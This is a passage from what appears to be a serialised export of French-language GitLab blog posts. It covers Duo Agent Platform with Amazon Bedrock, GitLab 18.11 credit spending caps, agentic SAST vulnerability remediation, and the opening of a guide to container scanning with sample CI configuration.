outils séparés de façon indépendante.\n\nLes workflows de sécurité bénéficient d'avantages particuliers. Les agents de GitLab Duo Agent Platform peuvent proposer et valider des correctifs pour les résultats de sécurité au sein de GitLab, contribuant à réduire le travail de triage manuel que les développeurs devraient autrement effectuer en dehors de la plateforme.\n\nPour les entreprises déjà engagées envers AWS, le routage des charges de travail d'IA via Bedrock depuis GitLab vous permet de maintenir l'utilisation de l'IA par les développeurs en cohérence avec les accords cloud existants, plutôt que de générer des dépenses séparées et non planifiées.\n\n## En résumé\n\nLes contraintes qui freinent l'adoption de l'IA en entreprise ne sont souvent pas d'ordre technique, elles sont organisationnelles : fragmentation des outils, flux de données non gouvernés et dépenses cloud qui ne se consolident jamais. Ce sont ces problèmes qui peuvent bloquer les programmes d'IA même après la réussite des projets pilotes.\n\nGitLab Duo Agent Platform et Amazon Bedrock permettent de s'attaquer directement à chacun de ces problèmes. Les équipes plateforme bénéficient d'une gouvernance cohérente, d'une auditabilité et de chemins standardisés pour l'utilisation de l'IA tout au long du cycle de vie du développement logiciel. Les équipes de développement disposent de workflows agentiques rationalisés qui s'intègrent naturellement à GitLab. Et les organisations centrées sur AWS peuvent étendre leur investissement Bedrock existant plutôt que de construire une infrastructure d'IA parallèle.\n\nLe résultat est un programme d'IA qui évolue sans se fragmenter. Gouvernance et vélocité sur la même pile, au service des mêmes équipes, sous des politiques que l'organisation maîtrise déjà.\n\n\n> Pour déterminer quel modèle de déploiement convient à votre organisation et comment aligner GitLab Duo Agent Platform et Amazon Bedrock avec votre stratégie AWS existante, [contactez l'équipe commerciale de GitLab](https://about.gitlab.com/sales/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr), qui vous aidera à concevoir et à mettre en œuvre la meilleure architecture pour votre environnement. Vous pouvez également [consulter notre page partenaire AWS](https://about.gitlab.com/fr-fr/partners/technology-partners/aws/) pour en savoir plus.",[259,914,853],[1167,1168],"Joe Mann","Mark Kriaf","https://res.cloudinary.com/about-gitlab-com/image/upload/v1776362275/ozbwn9tk0dditpnfddlz.png",{"featured":13,"template":843,"slug":1171},"gitlab-amazon-platform-orchestration-on-a-trusted-ai-foundation",{"content":1173,"config":1182},{"title":1174,"description":1175,"authors":1176,"heroImage":1178,"date":1179,"body":1180,"category":793,"tags":1181},"GitLab 18.11 : garde-fous budgétaires pour les GitLab Credits","Découvrez comment les plafonds de dépenses et les limites de crédits par utilisateur offrent aux organisations les garde-fous budgétaires nécessaires pour déployer GitLab Duo Agent Platform à grande échelle.",[1177],"Bryan Rothwell","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1776259080/cakqnwo5ecp255lo8lzo.png","2026-04-17","Les équipes qui utilisent GitLab Duo Agent Platform avec des crédits GitLab à la demande livrent plus rapidement, détectent les bogues plus tôt et automatisent des tâches qui mobilisaient auparavant des sprints entiers. Mais à mesure que l'adoption progresse, les équipes finances, achats et plateforme exigent des preuves que les dépenses liées à l'IA sont encadrées, prévisibles et maîtrisables.\n\nL'un des principaux freins à une adoption plus large de l'IA n'est pas le scepticisme vis-à-vis de la technologie : c'est l'incertitude quant à la maîtrise des dépenses. Sans plafond budgétaire, un mois particulièrement chargé pourrait engendrer des dépenses imprévues. Sans limites par utilisateur, une poignée d'utilisateurs intensifs pourrait épuiser les crédits de l'équipe avant la fin du mois. Et sans aucun de ces mécanismes, les responsables techniques qui souhaitent étendre l'utilisation de l'IA agentique pour le développement logiciel doivent multiplier les démarches pour obtenir les validations budgétaires.\n\nDepuis sa [disponibilité générale](https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-is-generally-available/), GitLab Duo Agent Platform offre des fonctionnalités de gouvernance et de visibilité sur l'utilisation. Avec GitLab 18.11, nous introduisons des contrôles d'utilisation pour [GitLab Credits](https://about.gitlab.com/fr-fr/blog/introducing-gitlab-credits/) : des plafonds de dépenses et des garde-fous budgétaires qui donnent à votre organisation encore plus de contrôle et de transparence sur la consommation des crédits.\n\n## Gestion de GitLab Credits\n\nGitLab 18.11 ajoute trois niveaux de contrôle sur la consommation des GitLab Credits : un plafond de dépenses au niveau de l'abonnement, des limites de crédits par utilisateur et une visibilité sur l'état et l'application des plafonds.\n\n### Plafond de dépenses au niveau de l'abonnement\n\nLes responsables de facturation peuvent désormais définir un plafond mensuel strict pour la consommation de crédits GitLab à la demande sur l'ensemble de leur abonnement.\n\nVoici comment cela fonctionne :\n\n* **Définissez un plafond** dans le `portail clients`, dans les paramètres de votre abonnement relatifs à GitLab Credits.\n\n* **Appliquez automatiquement les limites de dépenses.** Lorsque la consommation à la demande atteint le plafond, l'accès à GitLab Duo Agent Platform est suspendu pour tous les utilisateurs de l'abonnement jusqu'au début de la période mensuelle suivante.\n\n* **Ajustez en cours de route.** Augmentez ou désactivez le plafond en cours de mois pour rétablir l'accès.\n\nLe plafond se réinitialise à chaque période mensuelle et la limite configurée est reconduite automatiquement, sauf si vous la modifiez. Étant donné que les données d'utilisation sont synchronisées périodiquement plutôt qu'en temps réel, un léger dépassement peut survenir après que le plafond est atteint, avant que l'application ne prenne effet. Consultez la [documentation relative à GitLab Credits](https://docs.gitlab.com/subscriptions/gitlab_credits/) pour plus de détails.\n\n### Plafonds de dépenses par utilisateur\n\nIl est naturel que tous les utilisateurs ne consomment pas les crédits au même rythme. Mais lorsqu'un ou deux utilisateurs intensifs consomment une part disproportionnée du pool, le reste de l'équipe peut perdre son accès à l'IA avant la fin du mois.\n\nLes plafonds de crédits par utilisateur empêchent qu'un seul utilisateur consomme plus que la part qui lui est allouée :\n\n* **Plafond forfaitaire par utilisateur.** Définissez une limite de crédits forfaitaire qui s'applique de manière égale à chaque utilisateur de l'abonnement via l'API GraphQL de GitLab. Contrairement au plafond au niveau de l'abonnement, le plafond par utilisateur s'applique à la consommation totale d'un utilisateur, toutes sources de crédits confondues.\n\n* **Limites personnalisées par utilisateur.** Pour les organisations qui ont besoin de limites différenciées, vous pouvez définir des plafonds de crédits individuels pour des utilisateurs spécifiques via l'API GraphQL. Par exemple, vous pourriez accorder une allocation plus élevée à vos staff engineers tout en appliquant une limite standard au reste de l'équipe.\n\n* **Application individuelle.** Lorsqu'un utilisateur atteint son plafond, il conserve un accès complet à GitLab. Seule sa consommation de crédits GitLab Duo Agent Platform est suspendue jusqu'au prochain cycle de facturation. Tous les autres membres de l'équipe continuent à travailler sans interruption jusqu'à atteindre leur propre limite ou le plafond au niveau de l'abonnement, selon la première éventualité.\n\n### Visibilité et notifications\n\nLorsqu'un plafond au niveau de l'abonnement est atteint, GitLab envoie une notification par e-mail aux responsables de facturation afin qu'ils puissent agir : augmenter le plafond, attendre la période suivante ou redistribuer les crédits.\n\nDans GitLab, les propriétaires de groupe (GitLab.com) et les administrateurs d'instance (GitLab Self-Managed) peuvent consulter les utilisateurs bloqués en raison de l'atteinte de leur plafond par utilisateur et rétablir l'accès en ajustant le plafond via l'API GraphQL.\n\n## Comment les garde-fous budgétaires aident les organisations à déployer l'IA à grande échelle\n\nLes garde-fous sont essentiels à mesure que les organisations accélèrent leur adoption de l'IA. Voici pourquoi :\n\n### Des budgets d'IA prévisibles\n\nLes contrôles d'utilisation de GitLab Duo Agent Platform transforment l'IA en un poste budgétaire encadré et prévisible grâce aux crédits GitLab à la demande. Il devient ainsi plus facile de déployer des agents sur l'ensemble du cycle de développement logiciel, d'obtenir la validation des équipes financières, de justifier les renouvellements et de planifier les dépenses trimestrielles.\n\n### Gouvernance et refacturation interne\n\nLes grandes organisations doivent souvent aligner la consommation d'IA sur leurs budgets internes, centres de coûts ou politiques de départements. Les plafonds par utilisateur offrent aux équipes plateforme un mécanisme simple pour répartir les crédits équitablement et suivre la consommation au niveau individuel. Les options d'importation par API facilitent la gestion des plafonds à l'échelle de l'entreprise. En combinant les plafonds par utilisateur aux données d'utilisation par utilisateur du tableau de bord GitLab Credits, les organisations peuvent analyser les tendances de consommation pour alimenter leurs propres processus de refacturation interne ou d'allocation budgétaire.\n\n### La confiance pour passer à l'échelle\n\nDe nombreux clients commencent à utiliser GitLab Duo Agent Platform avec un petit groupe pilote. Les contrôles d'utilisation éliminent les risques associés à l'extension de ce pilote à l'ensemble de l'organisation. Vous pouvez déployer GitLab Duo Agent Platform auprès de centaines, voire de milliers de développeurs, en sachant qu'un plafond strict protège votre budget. Si la consommation augmente plus vite que prévu, vous atteindrez le plafond, sans facture inattendue.\n\n## Dépasser le dilemme de la tarification par siège et du manque de visibilité\n\nDe nombreux outils de programmation assistée par l'IA adoptent une approche par siège pour la gestion des coûts. Vous achetez un nombre fixe de sièges à un prix forfaitaire par utilisateur, et c'est votre budget. L'approche est simple, mais rigide. Vous payez le même montant, qu'un développeur utilise l'outil dix fois par jour ou n'y touche jamais. Et à mesure que les éditeurs introduisent des modèles premium et des dépassements basés sur l'utilisation en plus de la tarification par siège, la prévisibilité des coûts promise par ce modèle commence à s'éroder.\n\nGitLab adopte une approche différente : une tarification à l'usage avec des plafonds stricts et un tableau de bord de gouvernance unifié. Vous profitez d'une véritable flexibilité : vous ne payez que ce que vos équipes consomment réellement et pouvez prévoir un budget grâce aux limites de dépenses appliquées automatiquement.\n\n## Exemples concrets de contrôles d'utilisation\n\n**Prenons l'exemple d'une entreprise cliente SaaS de taille moyenne qui souhaite respecter son budget mensuel.** Une entreprise d'ingénierie de 200 personnes définit un plafond au niveau de l'abonnement correspondant à sa consommation à la demande prévue. Le VP Engineering peut affirmer avec certitude aux équipes financières que les dépenses liées à GitLab Duo Agent Platform ne dépasseront jamais le montant approuvé, même lors de l'intégration de nouvelles équipes. Si l'organisation approche du plafond en cours de mois, le responsable de facturation reçoit une notification et peut décider d'augmenter la limite ou d'attendre la période suivante.\n\n**Chez GitLab, nous travaillons également avec de grandes entreprises qui souhaitent garantir une utilisation équitable entre les équipes.** Une société de services financiers internationale comptant 2 000 développeurs utilise les plafonds par utilisateur pour assurer un accès équitable. Les ingénieurs seniors travaillant sur des projets de refactorisation complexes bénéficient d'une allocation individuelle plus élevée via l'API, tandis que la majorité des développeurs profite d'un plafond forfaitaire standard. Aucun utilisateur ne peut épuiser le pool à lui seul, et l'équipe plateforme utilise les données d'utilisation par utilisateur du tableau de bord GitLab Credits pour analyser les tendances de consommation et concevoir la planification budgétaire trimestrielle.\n\n## Premiers pas\n\nLes contrôles d'utilisation sont disponibles pour les clients GitLab.com et GitLab Self-Managed dès la version GitLab 18.11. Les contrôles sont configurés à différents emplacements selon la portée et votre rôle.\n\n**Plafond au niveau de l'abonnement**\n\nLes responsables de facturation définissent le plafond à la demande au niveau de l'abonnement dans le portail client :\n\n1. Connectez-vous au `Portail clients`.\n\n2. Sur la carte de votre abonnement, accédez aux paramètres de **GitLab Credits**.\n\n3. Activez le plafond mensuel de crédits à la demande et saisissez la limite souhaitée.\n\n**Plafond forfaitaire par utilisateur**\n\nLe plafond forfaitaire par utilisateur peut être défini via l'API GraphQL de GitLab par les propriétaires d'espace de nommage (GitLab.com) ou les administrateurs d'instance (GitLab Self-Managed). Consultez la [documentation relative à GitLab Credits](https://docs.gitlab.com/subscriptions/gitlab_credits/) pour les dernières informations sur les interfaces de configuration disponibles.\n\n**Limites personnalisées par utilisateur**\n\nPour des limites différenciées, les propriétaires d'espace de nommage (GitLab.com) et les administrateurs d'instance (Self-Managed) peuvent définir des plafonds individuels par programmation. Cette option est particulièrement utile pour les workflows d'automatisation et d'Infrastructure as Code.\n\n**Suivi de l'utilisation et de l'état des plafonds**\n\n* **Portail client :** consultez l'utilisation détaillée et l'état des plafonds.\n\n* **GitLab.com :** les propriétaires de groupe peuvent consulter les utilisateurs bloqués sous **Paramètres > GitLab Credits**.\n\n* **GitLab Self-Managed :** les administrateurs d'instance peuvent consulter l'état des plafonds et les utilisateurs bloqués sous **Admin > GitLab Credits**.\n\n## GitLab Duo Agent Platform est prêt à passer à l'échelle\n\nLes contrôles d'utilisation sont disponibles dès maintenant dans GitLab 18.11. Si vous attendiez les bons garde-fous avant de déployer GitLab Duo Agent Platform à l'échelle de votre organisation, c'est le moment. Définissez vos plafonds, déployez GitLab Duo Agent Platform auprès de davantage d'équipes et accélérez vos livraisons !\n\n> [En savoir plus sur GitLab Credits et les contrôles d'utilisation](https://docs.gitlab.com/subscriptions/gitlab_credits/).",[793,853,767],{"featured":691,"template":843,"slug":1183},"gitlab-18-11-budget-guardrails-for-gitlab-credits",{"content":1185,"config":1193},{"title":1186,"description":1187,"authors":1188,"heroImage":1190,"date":1179,"body":1191,"category":793,"tags":1192},"GitLab 18.11 : automatisez la correction des vulnérabilités avec l'IA","Avec GitLab 18.11, Agentic SAST Vulnerability Resolution est désormais en disponibilité générale.",[1189],"Alisa Ho","https://res.cloudinary.com/about-gitlab-com/image/upload/v1776259080/cakqnwo5ecp255lo8lzo.png","L’IA génère du code plus vite que n’importe quelle équipe de sécurité ne peut en assurer la revue. Ce qui constituait autrefois un backlog gérable de vulnérabilités détectées par les tests statiques de sécurité des applications (SAST) est désormais une liste écrasante et difficile à analyser. Demander aux équipes de développement de rechercher et de corriger manuellement chaque vulnérabilité n’est pas un processus, c’est un goulot d’étranglement. La solution ne réside pas dans un effort humain accru, mais dans un pipeline autonome. [Agentic SAST Vulnerability Resolution](https://docs.gitlab.com/user/application_security/vulnerabilities/agentic_vulnerability_resolution/) intégré à GitLab Duo Agent Platform a été conçue précisément pour répondre à ce problème.\n\nDésormais en disponibilité générale, Agentic SAST Vulnerability Resolution génère automatiquement des correctifs de code prêts à être fusionnés pour remédier aux vulnérabilités SAST. Grâce à cette fonctionnalité :\n\n* Les équipes de développement restent concentrées sur leur travail\n\n* Les vulnérabilités sont résolues avant d’atteindre l'environnement de production\n\n* Les équipes AppSec consacrent moins de temps au classement et à la coordination avec les équipes\n\nAgentic SAST Vulnerability Resolution représente l’avenir de la sécurité des applications. La version GitLab 18.11 offre également des scans SAST plus rapides, une priorisation plus intelligente et une gouvernance renforcée sur l’ensemble de la plateforme.\n\n## Une correction automatique sans interrompre votre workflow\n\nLorsque l’IA génère du code à grande échelle, l'équation change. Un backlog de sécurité qui progressait autrefois de façon linéaire s’accroît désormais de manière exponentielle à chaque commit assisté par un modèle. Il n’existe aucune solution à ce problème qui consiste à demander aux équipes de développement de changer de contexte plus souvent et de continuer à corriger manuellement des vulnérabilités. Selon le [rapport DevSecOps 2025 de GitLab](https://about.gitlab.com/fr-fr/blog/devsecops-report-france/), les équipes de développement consacrent déjà 11 heures par mois à corriger des vulnérabilités après la mise en production, c’est-à-dire à résoudre des problèmes déjà exploitables en production au lieu de livrer de nouvelles fonctionnalités.\n\nAgentic SAST Vulnerability Resolution transforme l’économie de ce cycle. Lorsqu’un scan SAST est terminé, les résultats déclenchent automatiquement le flow de [SAST false positive detection](https://docs.gitlab.com/user/application_security/vulnerabilities/false_positive_detection/). Les risques confirmés sont directement intégrés au flow Agentic SAST Vulnerability Resolution, où GitLab Duo Agent Platform :\n\n\n* Analyse la vulnérabilité dans son contexte\n\n* Génère un correctif qui traite la cause profonde\n\n* Valide le correctif à l'aide de tests automatisés\n\nL’équipe de développement reçoit une merge request prête à être fusionnée, accompagnée d’un score de confiance, afin de prendre une décision éclairée sur la manière de corriger la vulnérabilité. Le sprint reste dans les temps, les équipes de développement restent concentrés sur leur travail et les vulnérabilités sont résolues avant d’atteindre l'environnement de production.\n\nAccélérer la production logicielle implique également de ne pas attendre les résultats de votre scanner. GitLab 18.11 introduit le [scan incrémental pour Advanced SAST](https://docs.gitlab.com/user/application_security/sast/gitlab_advanced_sast/#incremental-scanning), permettant aux équipes de développement d’obtenir les résultats relatifs aux vulnérabilités sans attendre la fin d’un scan complet, et aux pipelines de continuer d'avancer.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1183195999?badge=0&autopause=0&player_id=0&app_id=58479%2Fembed\" allow=\"autoplay; fullscreen; picture-in-picture\" allowfullscreen=\"\" frameborder=\"0\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\">\u003C/iframe>\n\n\n## Une remédiation en fonction du risque métier\n\nLa correction autonome ne fonctionne que si le signal qui la déclenche est fiable. Lorsque les scores de sévérité ne reflètent pas l’exploitabilité réelle, les équipes de développement cessent de faire confiance au signal et commencent à l’ignorer.\n\nGitLab 18.11 répond à ce problème sur quatre niveaux. Premièrement, les [scores de vulnérabilité](https://docs.gitlab.com/user/application_security/vulnerabilities/severities/#critical-severity) s’appuient désormais sur le Common Vulnerability Scoring System (CVSS) 4.0, la norme la plus récente du secteur, avec des métriques plus granulaires qui reflètent davantage l’exploitabilité réelle. Le score affiché dans GitLab correspond ainsi à la norme du secteur la plus à jour pour mesurer le risque réel.\n\nLes équipes AppSec peuvent ensuite définir des [règles basées sur des politiques](https://docs.gitlab.com/user/application_security/policies/vulnerability_management_policy/#severity-override-policies) qui ajustent automatiquement les scores de sévérité des vulnérabilités en fonction de signaux tels que les Common Vulnerabilities and Exposures (CVE), les Common Weakness Enumeration (CWE) et le le chemin d'accès au fichier/répertoire. Une fois la politique définie, les modifications de sévérité s’appliquent immédiatement, permettant aux équipes de développement de travailler à partir d’un backlog qui reflète le risque métier réel, et non les résultats bruts du scanner.\n\nL'application des règles en fonction des risques ne se limite pas au backlog. Les équipes AppSec peuvent désormais configurer des [politiques d’approbation pour bloquer](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/#vulnerability_attributes-object) ou émettre des alertes en fonction du statut Known Exploited Vulnerabilities (KEV) ou des seuils de score Exploit Prediction Scoring System (EPSS). Lorsqu’un merge est bloqué, les équipes de développement savent que c’est parce que la vulnérabilité s'appuie sur des données d’exploitabilité réelles, et non sur un score qui ne tenait pas compte de leur environnement.\n\nEnfin, le [nouveau graphique du tableau de bord de sécurité Top CWEs](https://docs.gitlab.com/user/application_security/security_dashboard/#top-10-cwes) offre aux équipes une visibilité sur les classes de vulnérabilités qui apparaissent le plus fréquemment dans leurs projets. Plutôt que de traiter les résultats individuellement, les équipes peuvent identifier des tendances, établir des priorités au niveau de la cause profonde et traiter les risques systémiques avant qu’ils ne s’aggravent.\n\n## Des contrôles de sécurité renforcés avec moins de charge opérationnelle\n\nL'efficacité d'un pipeline de correction autonome dépend entièrement de la couverture offerte par le scanner de sécurité sur lequel il s'appuie. Si la configuration du scanner est incohérente, les résultats transmis au pipeline sont incomplets, tout comme les correctifs.\n\nGitLab 18.11 introduit le [Security Manager](https://docs.gitlab.com/user/permissions/#default-roles), un nouveau rôle par défaut conçu spécifiquement pour les professionnels de la sécurité. Grâce au rôle Security Manager, les équipes de sécurité peuvent appliquer des scanners de sécurité, définir et configurer des politiques de sécurité, gérer les workflows de classement et de correction des vulnérabilités, et maintenir les frameworks de conformité et les flux d’audit, sans avoir besoin d’autorisations de modification du code ou de déploiement. Les équipes de sécurité disposent ainsi des accès nécessaires à leur travail, et rien de plus, ce qui permet de limiter les autorisations au travail à accomplir et de laisser les autorisations relatives au code et au déploiement aux équipes de développement.\n\nPour les équipes AppSec, obtenir une couverture cohérente du scanner SAST sur plusieurs projets et groupes est désormais beaucoup plus simple. Les [profils de configuration SAST](https://docs.gitlab.com/user/application_security/configuration/security_configuration_profiles/) offrent aux équipes de sécurité un espace unique pour définir la configuration des scans une seule fois et l’appliquer à tous les projets d’un groupe en une seule action. Les équipes n'ont plus besoin de rédiger et de maintenir des fichiers de politique YAML, de dépendre des équipes de développement pour configurer les scanners, ni de vérifier manuellement chaque projet pour identifier les lacunes de couverture.\n\n## Commencer dès aujourd’hui avec la remédiation agentique des vulnérabilités\n\nGitLab 18.11 offre un workflow complet de [gestion des vulnérabilités](https://about.gitlab.com/fr-fr/blog/what-is-vulnerability-management/ \"Gestion des vulnérabilités\") sur une seule plateforme : une IA qui corrige automatiquement les vulnérabilités, une priorisation plus intelligente qui réduit le bruit lié aux vulnérabilités, et des contrôles de gouvernance qui donnent aux équipes de sécurité les accès et la couverture appropriés à grande échelle.\n\n> Pour découvrir comment GitLab Duo Agent Platform intègre la correction automatisée directement dans le workflow de vos équipes de développement, [commencez un essai gratuit de GitLab Ultimate dès aujourd’hui](https://about.gitlab.com/free-trial/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr).",[805,853,793,835],{"featured":691,"template":843,"slug":1194},"automate-remediation-with-ready-to-merge-ai-code-fixes",{"category":105,"slug":805,"posts":1196},[1197,1208,1221],{"content":1198,"config":1206},{"tags":1199,"category":805,"body":1200,"date":1201,"heroImage":1202,"authors":1203,"description":1204,"title":1205},[805,1055],"Les vulnérabilités dans les conteneurs n'attendent pas votre prochain\ndéploiement. Elles peuvent apparaître à tout moment, de la création d'une\nimage à l'exécution des conteneurs en production. Pour remédier à ce\nproblème, GitLab propose plusieurs approches d'analyse des conteneurs,\nchacune conçue pour une étape spécifique du cycle de développement logiciel ([SDLC](https://about.gitlab.com/fr-fr/blog/what-is-sdlc/ \"Qu'est-ce que le SDLC ?\")).\n\n\nDans ce guide, nous explorons les différents types d'analyse de conteneurs proposés par GitLab, vous expliquons comment les activer et vous partageons les configurations les plus courantes pour bien démarrer.\n\n\n## Qu'est-ce que l'analyse des conteneurs ? \n\n\nLes vulnérabilités de sécurité présentes dans les images de conteneurs constituent un risque tout au long du cycle de vie applicatif. Les images de base, les paquets de systèmes d'exploitation et les dépendances applicatives peuvent tous receler des vulnérabilités activement exploitées par des attaquants. L'analyse des conteneurs permet de détecter ces risques en amont, avant qu'ils n'atteignent l'environnement de production, et propose des pistes de remédiation le cas échéant.\n\n\nL'analyse des conteneurs est un élément essentiel de l'analyse de la composition logicielle (SCA), qui vous aide à comprendre et à sécuriser les dépendances externes dont vos applications conteneurisées dépendent.\n\n\n## 5 types d'analyses de conteneurs dans GitLab\n\n\nGitLab propose cinq approches distinctes d'analyse de conteneurs, chacune répondant à un objectif précis dans votre stratégie de sécurité.\n\n\n### 1. Analyse des conteneurs dans le pipeline\n\n\n* Fonctionnement : analyse les images de conteneurs lors de l'exécution du [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") afin de détecter les vulnérabilités avant le déploiement\n\n* Cas d'utilisation idéal : contrôles de sécurité en amont (shift-left) pour bloquer les images vulnérables avant qu'elles n'atteignent la production\n\n* Disponibilité : version gratuite de GitLab, GitLab Premium et GitLab Ultimate (avec des fonctionnalités supplémentaires dans GitLab Ultimate)\n\n* [Documentation](https://docs.gitlab.com/user/application_security/container_scanning/)\n\n\nGitLab utilise le scanner de sécurité Trivy pour analyser les images de conteneurs et rechercher de vulnérabilités connues. Lors de l'exécution du pipeline, le scanner examine vos images et génère un rapport détaillé.\n\n\n#### Activer l'analyse des conteneurs dans le pipeline\n\n\n**Option A : merge request préconfigurée**\n\n\n* Accédez à **Sécurisation > Configuration de la sécurité** dans votre projet.\n\n* Repérez la ligne « Analyse de conteneurs ».\n\n* Sélectionnez **Configurer avec une merge request**.\n\n* Une merge request intégrant la configuration nécessaire est automatiquement créée.\n\n\n**Option B : configuration manuelle**\n\n\n* Ajoutez le contenu suivant à votre fichier `.gitlab-ci.yml` :\n\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n```  \n\n\n#### Configurations courantes\n\n\n**Analyser une image spécifique :**\n\n\nPour analyser une image spécifique, remplacez la variable `CS_IMAGE` dans le job `container_scanning`.\n\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n\ncontainer_scanning:\n  variables:\n    CS_IMAGE: myregistry.com/myapp:latest\n```\n\n\n**Filtrer par seuil de gravité :**\n\n\nPour n'afficher que les vulnérabilités dépassant un certain niveau de gravité, remplacez la variable `CS_SEVERITY_THRESHOLD` dans le job `container_scanning`. Dans l'exemple ci-dessous, seules les vulnérabilités d'un niveau de gravité **Élevé** ou supérieur seront affichées.\n\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n\ncontainer_scanning:\n  variables:\n    CS_SEVERITY_THRESHOLD: \"HIGH\"\n```\n\n\n#### Consulter les vulnérabilités dans une merge request\n\n\nL'affichage direct des vulnérabilités détectées par l'analyse des conteneurs au sein des merge requests rend les revues de sécurité plus fluides et plus efficaces. Une fois l'analyse des conteneurs configurée dans votre pipeline CI/CD, GitLab affiche automatiquement les vulnérabilités détectées dans le [widget Sécurité](https://docs.gitlab.com/user/project/merge_requests/widgets/#application-security-scanning) de la merge request.\n\n\n![Vulnérabilités détectées lors de l'analyse des conteneurs affichées dans la merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547514/lt6elcq6jexdhqatdy8l.png \"Vulnérabilités détectées lors de l'analyse des conteneurs affichées dans la merge request\")\n\n\n* Accédez à n'importe quelle merge request et faites défiler jusqu'à la section « Analyse de sécurité » pour obtenir un résumé des vulnérabilités nouvellement introduites et existantes détectées dans vos images de conteneurs.\n\n* Cliquez sur une **vulnérabilité** pour accéder à des informations détaillées, notamment le niveau de gravité, les paquets affectés et les recommandations de remédiation disponibles.\n\n\n![GitLab Security – détails dans la merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547514/hplihdlekc11uvpfih1p.png)\n\n\n![GitLab Security – détails dans la merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/jnxbe7uld8wfeezboifs.png \"Détails d'une vulnérabilité détectée par l'analyse des conteneurs dans la merge request\")\n\n\nCette visibilité permet aux équipes de développement et de sécurité de détecter et de traiter les vulnérabilités des conteneurs avant qu'elles n'atteignent la production : la sécurité devient une composante à part entière du processus de revue de code plutôt qu'un contrôle distinct.\n\n\n#### Consulter les vulnérabilités dans le rapport de vulnérabilités\n\n\nAu-delà des revues dans les merge requests, GitLab met à disposition un [rapport de vulnérabilités](https://docs.gitlab.com/user/application_security/vulnerability_report/) centralisé, qui offre aux équipes de sécurité une visibilité complète sur l'ensemble des résultats de l'analyse des conteneurs dans votre projet.\n\n\n![Rapport de vulnérabilités avec classement selon l'analyse des conteneurs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547524/gagau279fzfgjpnvipm5.png \"Rapport de vulnérabilités avec classement selon l'analyse des conteneurs\")\n\n\n* Accédez à ce rapport via **Sécurité et conformité > Rapport de vulnérabilités** dans la barre latérale de votre projet.\n\n* Vous y trouverez une vue agrégée de toutes les vulnérabilités de conteneurs détectées dans vos branches, avec des options de filtrage permettant de trier les vulnérabilités par gravité, statut, type de scanner ou image de conteneur spécifique.\n\n* Cliquez sur une vulnérabilité pour accéder à sa page dédiée.\n\n\n![Page de vulnérabilité – vue 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547520/e1woxupyoajhrpzrlylj.png)\n\n\n![Page de vulnérabilité – vue 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547521/idzcftcgjc8eryixnbjn.png)\n\n\n![Page de vulnérabilité – vue 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547522/mbbwbbprtf9anqqola10.png \"Détails d'une vulnérabilité détectée par l'analyse des conteneurs\")\n\n\nLes [détails de la vulnérabilité](https://docs.gitlab.com/user/application_security/vulnerabilities/) indiquent précisément les images et couches de conteneurs concernées pour faciliter la traçabilité jusqu'à la source du problème. Vous pouvez assigner des vulnérabilités à des membres de l'équipe, modifier leur statut (détectée, confirmée, résolue, rejetée), ajouter des commentaires pour faciliter la collaboration et associer des tickets connexes pour suivre la remédiation.\n\n\nCe workflow transforme la [gestion des vulnérabilités](https://about.gitlab.com/fr-fr/blog/what-is-vulnerability-management/ \"Qu'est-ce que la gestion des vulnérabilités ?\"), autrefois cantonnée à des tableurs, en une composante intégrée de votre processus de développement, garantissant que les résultats de sécurité des conteneurs sont suivis, priorisés et résolus de manière systématique.\n\n\n#### Consulter la liste des dépendances\n\n\nLa [liste des dépendances](https://docs.gitlab.com/user/application_security/dependency_list/) de GitLab fournit une nomenclature logicielle complète ([SBOM](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/ \"Qu'est-ce qu'une SBOM ?\")) qui répertorie chaque composant de vos images de conteneurs afin d'offrir une transparence totale sur votre [chaîne d'approvisionnement logicielle](https://about.gitlab.com/fr-fr/blog/software-supply-chain-security-guide-why-organizations-struggle/).\n\n\n* Accédez à **Sécurité et conformité > Liste des dépendances** pour consulter l'inventaire de tous les paquets, bibliothèques et dépendances détectés par l'analyse des conteneurs dans votre projet.\n\n* Cet affichage répertorie les éléments qui s'exécutent réellement dans vos conteneurs, des paquets du système d'exploitation de base aux dépendances applicatives.\n\n\n![Liste des dépendances de GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/vjg6dk3nhajqamplroji.png \"Liste des dépendances de GitLab (SBOM)\")\n\n\nVous pouvez filtrer la liste par gestionnaire de paquets, type de licence ou statut de vulnérabilité afin d'identifier rapidement les composants qui présentent des risques de sécurité ou des problèmes de conformité. Chaque entrée de dépendance affiche les vulnérabilités associées pour traiter les problèmes de sécurité dans le contexte des composants logiciels réels, plutôt que comme des résultats isolés.\n\n\n### 2. Analyse des conteneurs pour le registre\n\n\n* Fonctionnement : analyse automatiquement les images envoyées vers le registre de conteneurs de GitLab (GitLab Container Registry) avec le tag `latest`\n\n* Cas d'utilisation idéal : surveillance continue des images du registre, sans déclenchement manuel du pipeline\n\n* Disponibilité : GitLab Ultimate uniquement\n\n* [Documentation](https://docs.gitlab.com/user/application_security/container_scanning/#container-scanning-for-registry)\n\n\nLorsque vous effectuez un push d'une image de conteneur avec le tag `latest`, le bot de politique de sécurité de GitLab déclenche automatiquement une analyse sur la branche par défaut. Contrairement à l'analyse dans le pipeline, cette approche fonctionne conjointement avec l'analyse continue des vulnérabilités pour surveiller les nouveaux avis de sécurité publiés.\n\n\n#### Activer l'analyse des 